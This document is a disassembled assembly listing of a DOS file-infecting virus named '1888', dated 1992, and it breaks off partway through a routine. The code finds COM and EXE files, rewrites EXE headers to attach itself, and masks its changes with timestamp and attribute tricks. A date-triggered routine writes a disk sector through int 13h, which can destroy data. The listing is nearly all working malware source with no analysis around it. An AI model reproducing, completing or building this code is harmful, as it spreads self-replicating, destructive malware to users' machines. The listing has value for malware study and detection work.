home *** CD-ROM | disk | FTP | other *** search
-
- PAGE 59,132
-
- ;██████████████████████████████████████████████████████████████████████████
- ;██ ██
- ;██ 1888 ██
- ;██ ██
- ;██ Created: 28-Jul-92 ██
- ;██ Passes: 5 Analysis Options on: none ██
- ;██ ██
- ;██████████████████████████████████████████████████████████████████████████
-
- d_0040_001C_e equ 1Ch
- d_0040_004A_e equ 4Ah
- d_8B38_0003_e equ 3 ;*
- data_0012_e equ 12h
- data_0016_e equ 16h
- data_00A3_e equ 0A3h
- data_00A7_e equ 0A7h
- data_00A9_e equ 0A9h
- data_00AB_e equ 0ABh
- data_00AF_e equ 0AFh
- data_00B3_e equ 0B3h
- data_00B5_e equ 0B5h
- d_9E01_0000_e equ 0 ;*
- d_9E01_0002_e equ 2 ;*
- d_9E01_0004_e equ 4 ;*
- d_9E01_0008_e equ 8 ;*
- d_9E01_0014_e equ 14h ;*
- d_9E01_0016_e equ 16h ;*
-
- seg_a segment byte public
- assume cs:seg_a, ds:seg_a
-
-
- org 100h
-
- 1888 proc far
-
- start:
- jmp loc_0767
- data_0103 db 20h
- data_0104 dw 86C0h
- data_0106 dw 18FCh
- data_0108 dw 762h
- data_010A dw 0
- data_010C db '1888.COM', 0
- db 00h, 00h, 00h,0A6h
- data_0119 dw 25h
- data_011B db 1
- data_011C dw 760h
- data_011E db 0
- data_011F db 0
- data_0120 dw 762h
- data_0122 dw 760h
- data_0124 dw 0FFFEh
- data_0126 dw 5369h ; Data table (indexed access)
- data_0128 dw 5369h
- data_012A dw 4C97h
- data_012C dd 9E010000h
- data_0130 dw 7C8h
- data_0132 db 8
- data_0133 db 10h
- data_0134 db 0
- data_0135 db 10h
- db 0, 0, 0, 0
- data_013A db '\DANGER\1888'
- db 20 dup (0)
- data_015A db 'C:\', 0
- db '*', 0
- db 'NETWARE', 0
- db 'LMS', 0
- db 'MAUS', 0
- db 'MDB', 0
- db 'DOS', 0
- db 'BASE', 0
- db 'L', 0
- data_0180 dw 160h
- data_0182 db 0
- data_0183 db 1
- db 14h, 17h, 6Eh, 00h, 01h,0A9h
- db 00h, 01h,0BFh
- db 38h
- data_018E db 2Ah
- db 2Eh, 65h, 78h, 65h, 00h
- data_0194 db 2Ah
- db 2Eh, 63h, 6Fh, 6Dh, 00h
- data_019A db 0
- data_019B db 0
- data_019C db 0
- data_019D db 4
- db 3Fh
- db 7 dup (3Fh)
- db 43h, 4Fh, 4Dh, 23h, 04h, 00h
- db 0F3h, 31h, 0Dh, 4Dh, 18h, 68h
- db 20h,0C0h, 86h,0FCh, 18h, 62h
- db 07h, 00h, 00h
- db '1888.COM'
- db 00h, 00h, 00h, 00h,0A6h,0EAh
- db 0AAh, 03h, 00h,0CCh,0AAh, 03h
- db 60h, 07h, 00h, 40h, 05h, 00h
- db 60h, 07h, 00h, 01h,0C8h, 01h
- db 19h, 01h, 00h, 00h, 69h, 53h
- db 69h, 53h, 61h, 06h, 9Dh, 04h
- db 16h, 32h, 21h, 00h, 7Bh, 1Ah
- db 12h, 32h,0ADh, 04h, 69h, 53h
- db 12h, 32h,0DEh, 07h
-
- 1888 endp
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_01F7 proc near
- cmp data_011C,0
- jne loc_0207 ; Jump if not equal
- mov ax,760h
- mov data_011C,ax
- mov data_0120,ax
- loc_0207:
- mov al,data_011E
- mov data_011F,al
- mov ax,data_0120
- mov data_0122,ax
- inc data_0119
- mov data_019C,0
- mov data_019A,0
- mov data_019B,0
- retn
- sub_01F7 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0227 proc near
- lea dx,data_0183 ; Load effective addr
- xor al,al ; Zero register
- mov ah,3Dh ; '='
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- jc loc_ret_0239 ; Jump if carry Set
- mov bx,ax
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
-
- loc_ret_0239:
- retn
- sub_0227 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_023A proc near
- mov ah,2Ah ; '*'
- int 21h ; DOS Services ah=function 2Ah
- ; get date, cx=year, dh=month
- ; dl=day, al=day-of-week 0=SUN
- mov ah,dh
- cmp cx,data_0130
- je loc_0249 ; Jump if equal
- add ah,0Ch
- loc_0249:
- sub ah,data_0132
- mov data_011B,ah
- mov data_0134,al
- mov data_0133,dl
- mov data_0132,dh
- mov data_0130,cx
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dx=sec
- mov data_0135,ch
- retn
- sub_023A endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0269 proc near
- mov ax,es
- dec ax
- push es
- mov es,ax
- mov ax,es:d_8B38_0003_e
- mov data_012A,ax
- pop es
- mov bx,ax
- sub bx,200h
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change memory allocation
- ; bx=bytes/16, es=mem segment
- mov bx,150h
- mov ah,48h ; 'H'
- int 21h ; DOS Services ah=function 48h
- ; allocate memory, bx=bytes/16
- mov word ptr data_012C+2,ax
- retn
- sub_0269 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_028C proc near
- push es
- mov ax,word ptr data_012C+2
- mov es,ax
- mov ah,49h ; 'I'
- int 21h ; DOS Services ah=function 49h
- ; release memory block, es=seg
- mov ax,data_0128
- mov es,ax
- mov bx,data_012A
- mov ah,4Ah ; 'J'
- int 21h ; DOS Services ah=function 4Ah
- ; change memory allocation
- ; bx=bytes/16, es=mem segment
- pop es
- retn
- sub_028C endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_02A5 proc near
- push ds
- mov ah,1Bh
- int 21h ; DOS Services ah=function 1Bh
- ; get disk info, default drive
- ; al=sectors per cluster
- ; ds:bx=ptr to media ID byte
- ; cx=sector size, dx=clusters
- cmp byte ptr [bx],0F8h
- pop ds
- retn
- sub_02A5 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_02AF proc near
- lea si,data_019D ; Load effective addr
- mov di,si
- xor dl,dl ; Zero register
- mov ah,47h ; 'G'
- int 21h ; DOS Services ah=function 47h
- ; get present dir,drive dl,1=a:
- ; ds:si=ASCIIZ directory name
- mov cx,30h
- mov al,0
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov cx,di
- sub cx,si
- lea di,data_013A ; ('\DANGER\1888') Load effective addr
- mov al,5Ch ; '\'
- stosb ; Store al to es:[di]
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- retn
- sub_02AF endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_02D0 proc near
- mov data_0182,0
- lea bx,cs:[160h] ; Load effective addr
- add bx,20h
- mov data_0180,bx
- sub bx,20h
- lea dx,data_015A+4 ; ('*') Load effective addr
- mov cx,33h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_031F ; Jump if carry Set
- loc_02F0:
- lea di,data_019D ; Load effective addr
- add di,1Eh
- cmp byte ptr [di],2Eh ; '.'
- je loc_0319 ; Jump if equal
- mov si,di
- mov cx,20h
- mov al,0
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov cx,di
- sub cx,si
- mov di,bx
- add bx,cx
- cmp bx,data_0180
- ja loc_031F ; Jump if above
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- inc data_0182
- loc_0319:
- mov ah,4Fh ; 'O'
- int 21h ; DOS Services ah=function 4Fh
- ; find next filename match
- jnc loc_02F0 ; Jump if carry=0
- loc_031F:
- lea bx,cs:[160h] ; Load effective addr
- mov data_0180,bx
- retn
- sub_02D0 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0328 proc near
- cmp data_0182,0
- je loc_ret_034C ; Jump if equal
- lea dx,data_013A ; ('\DANGER\1888') Load effective addr
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov dx,data_0180
- mov di,dx
- mov ah,3Bh ; ';'
- int 21h ; DOS Services ah=function 3Bh
- ; set current dir, path @ ds:dx
- mov al,0
- mov cx,20h
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- mov data_0180,di
-
- loc_ret_034C:
- retn
- sub_0328 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_034D proc near
- mov ax,data_0104
- and al,1Fh
- cmp al,1Eh
- retn
- sub_034D endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0355 proc near
- lea dx,data_0194 ; Load effective addr
- cmp data_011E,0
- je loc_0364 ; Jump if equal
- lea dx,data_018E ; Load effective addr
- loc_0364:
- mov cx,23h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- retn
- sub_0355 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_036C proc near
- lea si,data_019D ; Load effective addr
- add si,15h
- lea di,data_0103 ; Load effective addr
- mov cx,16h
- rep movsb ; Rep when cx >0 Mov [si] to es:[di]
- retn
- sub_036C endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_037D proc near
- pushf ; Push flags
- mov cx,data_0104
- or cl,1Fh
- and cl,0FEh
- mov dx,data_0106
- mov ax,5701h
- int 21h ; DOS Services ah=function 57h
- ; set file date+time, bx=handle
- ; cx=time, dx=time
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- lea dx,data_010C ; ('1888.COM') Load effective addr
- xor ch,ch ; Zero register
- mov cl,data_0103
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- popf ; Pop flags
- retn
- sub_037D endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_03A6 proc near
- lea dx,data_010C ; ('1888.COM') Load effective addr
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- jc loc_ret_03BA ; Jump if carry Set
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
-
- loc_ret_03BA:
- retn
- sub_03A6 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_03BB proc near
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- mov cx,100h
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- cmp word ptr ds:d_9E01_0000_e,5A4Dh
- nop ;*ASM fixup - sign extn byte
- je loc_03D6 ; Jump if equal
- stc ; Set carry flag
- jmp loc_0455
- loc_03D6:
- call sub_0457
- push ax
- mov ax,di
- and ax,0Fh
- mov cx,10h
- xor dx,dx ; Zero register
- sub cx,ax
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jnc loc_03EF ; Jump if carry=0
- jmp short loc_0455
- db 90h
- loc_03EF:
- mov si,ax
- mov cx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- jc loc_0455 ; Jump if carry Set
- pop dx
- mov ax,di
- add ax,si
- add ax,100h
- cmp ax,200h
- jb loc_040B ; Jump if below
- and ax,1FFh
- inc dx
- loc_040B:
- mov cl,4
- shr ax,cl ; Shift w/zeros fill
- dec dx
- mov cl,5
- shl dx,cl ; Shift w/zeros fill
- sub dx,ds:d_9E01_0008_e
- add ax,dx
- sub ax,10h
- mov ds:d_9E01_0016_e,ax
- mov word ptr ds:d_9E01_0014_e,100h
- push ds
- mov ax,cs
- mov ds,ax
- mov cx,data_011C
- mov dx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- pop ds
- jc loc_0455 ; Jump if carry Set
- call sub_0457
- mov ds:d_9E01_0002_e,di
- mov ds:d_9E01_0004_e,ax
- mov ax,4200h
- xor dx,dx ; Zero register
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_0455 ; Jump if carry Set
- mov cx,100h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- loc_0455:
- pop ds
- retn
- sub_03BB endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0457 proc near
- mov ax,4202h
- xor cx,cx ; Zero register
- xor dx,dx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- mov di,ax
- and di,1FFh
- mov cl,9
- shr ax,cl ; Shift w/zeros fill
- mov cl,7
- shl dx,cl ; Shift w/zeros fill
- add ax,dx
- inc ax
- retn
- sub_0457 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0472 proc near
- mov ax,data_0108
- mov data_0120,ax
- mov cx,data_011C
- cmp cx,ax
- jb loc_0488 ; Jump if below
- mov data_0120,cx
- mov cx,data_0108
- loc_0488:
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- pop ds
- jc loc_ret_04DD ; Jump if carry Set
- mov ax,4200h
- xor dx,dx ; Zero register
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_ret_04DD ; Jump if carry Set
- mov dx,100h
- mov cx,data_011C
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- int 3 ; Debug breakpoint
- cmp ax,cs:data_0108
- ja loc_04CC ; Jump if above
- mov ax,4200h
- mov dx,data_0108
- mov data_0120,dx
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_ret_04DD ; Jump if carry Set
- mov cx,data_011C
- jmp short loc_04D0
- loc_04CC:
- mov cx,data_0108
- loc_04D0:
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- xor dx,dx ; Zero register
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- pop ds
-
- loc_ret_04DD:
- retn
- sub_0472 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_04DE proc near
- cmp data_011B,2
- ja loc_04E8 ; Jump if above
- xor ax,ax ; Zero register
- retn
- loc_04E8:
- mov al,data_0133
- and al,1
- retn
- sub_04DE endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_04EE proc near
- cmp data_0133,0Fh
- jb loc_0507 ; Jump if below
- mov al,data_0135
- cmp al,13h
- jb loc_0507 ; Jump if below
- mov ax,40h
- mov es,ax
- mov byte ptr es:d_0040_004A_e,23h ; '#'
- loc_0507:
- cmp data_0133,0Dh
- jne loc_ret_0524 ; Jump if not equal
- cmp data_0134,5
- jne loc_ret_0524 ; Jump if not equal
- mov ax,301h
- mov cx,1
- mov dx,50h
- xor bx,bx ; Zero register
- mov es,bx
- int 13h ; Disk dl=drive ? ah=func 03h
- ; write sectors from mem es:bx
- ; al=#,ch=cyl,cl=sectr,dh=head
-
- loc_ret_0524:
- retn
- sub_04EE endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_0525 proc near
- mov data_019B,1
- lea dx,data_05C1 ; Load effective addr
- mov cx,27h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jnc loc_0564 ; Jump if carry=0
- mov ah,3Ch ; '<'
- mov cx,6
- int 21h ; DOS Services ah=function 3Ch
- ; create/truncate file @ ds:dx
- mov bx,ax
- lea dx,data_05EE ; Load effective addr
- mov cx,data_070A
- mov si,dx
- add si,data_00B3_e
- mov ax,data_0130
- mov [si],ax
- mov ah,data_0132
- mov [si+2],ah
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
- mov ah,3Eh ; '>'
- int 21h ; DOS Services ah=function 3Eh
- ; close file, bx=file handle
- jc loc_05BD ; Jump if carry Set
- loc_0564:
- lea dx,data_05C7 ; Load effective addr
- mov cx,27h
- mov ah,4Eh ; 'N'
- int 21h ; DOS Services ah=function 4Eh
- ; find 1st filenam match @ds:dx
- jc loc_05BD ; Jump if carry Set
- call sub_036C
- xor cx,cx ; Zero register
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; set attrb cx, filename @ds:dx
- mov ax,3D02h
- int 21h ; DOS Services ah=function 3Dh
- ; open file, al=mode,name@ds:dx
- mov bx,ax
- jc loc_05BD ; Jump if carry Set
- mov cx,data_0108
- push es
- push ds
- mov ax,word ptr data_012C+2
- mov ds,ax
- mov es,ax
- xor dx,dx ; Zero register
- mov ah,3Fh ; '?'
- int 21h ; DOS Services ah=function 3Fh
- ; read file, bx=file handle
- ; cx=bytes to ds:dx buffer
- pop ds
- mov dx,ax
- mov ax,0FFFFh
- xor di,di ; Zero register
- repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
- cmp ax,es:[di-1]
- pop es
- jz loc_05BD ; Jump if zero
- mov ax,4200h
- xor cx,cx ; Zero register
- dec dx
- int 21h ; DOS Services ah=function 42h
- ; move file ptr, bx=file handle
- ; al=method, cx,dx=offset
- jc loc_05BD ; Jump if carry Set
- lea dx,data_05D5 ; Load effective addr
- mov cx,19h
- mov ah,40h ; '@'
- int 21h ; DOS Services ah=function 40h
- ; write file bx=file handle
- ; cx=bytes from ds:dx buffer
